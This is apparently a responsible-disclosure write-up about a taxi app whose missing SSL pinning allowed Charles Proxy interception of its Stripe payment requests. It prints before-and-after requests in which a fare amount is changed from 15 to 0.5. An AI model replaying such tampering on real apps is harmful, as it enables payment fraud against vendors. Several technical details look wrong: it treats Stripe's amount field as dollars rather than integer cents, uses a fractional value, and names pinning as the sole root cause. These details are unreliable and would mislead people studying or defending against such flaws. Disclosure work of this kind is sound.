Background
Rapido Ride is a taxi app serving St. John's, Newfoundland. The mobile client handled payments over HTTPS but lacked SSL pinning, so any user-controlled trust store could silently terminate TLS. I reproduced the issue on an iPhone by installing a custom root CA and routing traffic through Charles Proxy; every Stripe request became readable and editable in real time.
Vulnerability snapshot
| Vulnerability | Missing SSL Pinning |
|---|---|
| Attack class | Payment tampering |
| Processor | Stripe |
| Status | Patched |
Without certificate pinning, a proxy CA-signed certificate is indistinguishable from Stripe's certificate. The app never noticed the MitM.
Attack flow
- Intercept. Charles Proxy terminates TLS and exposes the POST to
api.stripe.com/v1/payment_intents. - Inspect. A $15 fare appears as
amount=15(dollars) in the body. - Modify. Change
amount=15→amount=0.5and forward. - Book. Stripe accepts the fifty-cent PaymentIntent. The app receives a success callback and dispatches a driver for pennies.
Captured requests
Before:
POST /v1/payment_intents HTTP/1.1 Host: api.stripe.com Authorization: Bearer pk_live_xxxxxxxxxxxx Content-Type: application/x-www-form-urlencoded amount=15¤cy=cad&payment_method=pm_xxxx&confirm=true
After:
POST /v1/payment_intents HTTP/1.1 Host: api.stripe.com Authorization: Bearer pk_live_xxxxxxxxxxxx Content-Type: application/x-www-form-urlencoded amount=0.5¤cy=cad&payment_method=pm_xxxx&confirm=true
Root cause
- No SSL pinning. The client trusted any certificate signed by a system root.
Remediation checklist
- Implement certificate pinning (Android
network_security_configor OkHttpCertificatePinner; iOSURLSessionchallenge pinning). - Validate the PaymentIntent amount before dispatching a driver (compare against server fare).
- Add anomaly detection for sub-minimum charges.
Disclosure timeline
- Discovery: SSL pinning absence confirmed; payment payload manipulation demonstrated.
- Report: Full write-up + PoC sent to Rapido Ride.
- Patch: Vendor confirmed deployment; testing verified the fix.
No real rides were taken. Testing remained on a personal account with responsible disclosure intent only.
Status
Resolved. Shared here so other teams know exactly how the exploit worked and how to avoid it.